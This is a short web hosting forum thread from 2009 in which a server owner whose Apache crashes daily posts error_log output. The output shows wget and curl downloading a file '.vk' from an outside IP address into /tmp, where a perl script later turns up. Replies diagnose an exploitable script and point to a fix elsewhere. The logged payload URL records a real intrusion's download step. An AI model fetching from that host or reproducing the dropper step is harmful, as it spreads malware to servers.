Apache Crashes Daily

kaon

Verified User
Joined
Aug 7, 2008
Messages
42
Hello All,

I am running a dedicated server.

My apache crashes daily and I am investigating the cause of it.

I have found this strange message in my apache error_log.

Can someone please understand this?

Code:
[FONT="Courier New"][SIZE="1"][Mon Apr 20 11:37:32 2009] [error] [client 61.160.217.15] File does not exist: /var/www/html/404.shtml
--22:48:33--  http://77.226.211.222/.../.vk
Connecting to 77.226.211.222:80... --22:48:33--  http://77.226.211.222/.../.vk
Connecting to 77.226.211.222:80... connected.
HTTP request sent, awaiting response... connected.
HTTP request sent, awaiting response... 200 OK
Length: 29569 (29K) [text/plain]
Saving to: `.vk'

     0K ..200 OK
Length: 29569 (29K) [text/plain]
Saving to: `.vk.1'

     0K ................ ........... .......... ........                        100% 13.6K=2.1s

22:48:35 (13.6 KB/s) - `.vk' saved [29569/29569]

. ........                        100% 12.2K=2.4s

22:48:36 (12.2 KB/s) - `.vk.1' saved [29569/29569]

  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed

  3 29569    3  1113    0     0    929      0  0:00:31  0:00:01  0:00:30   929  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed

  3 29569    3  1113    0     0   1091      0  0:00:27  0:00:01  0:00:26  1091
 42 29569   42 12633    0     0   7035      0  0:00:04  0:00:01  0:00:03 19264
 18 29569   18  5433    0     0   3603      0  0:00:08  0:00:01  0:00:07  8834
 96 29569   96 28473    0     0   9959      0  0:00:02  0:00:02 --:--:-- 16472
100 29569  100 29569    0     0  10195      0  0:00:02  0:00:02 --:--:-- 16709
sh: fetch: command not found

 47 29569   47 14073    0     0   5386      0  0:00:05  0:00:02  0:00:03  8130
100 29569  100 29569    0     0   9177      0  0:00:03  0:00:03 --:--:-- 12922
sh: fetch: command not found
[/SIZE][/FONT]

Further there is a perl script with name vk in the tmp/ directory.

How can someone save a file from apache in tmp directory?

Please help.
 
You have an exploitable script somewhere on your server. You better have an expert look at your server if you are unexperienced to do so.
 
There's another current thread on this project, and as recently as yesterday or today, user tillo responded with a fix.

Jeff
 
Back
Top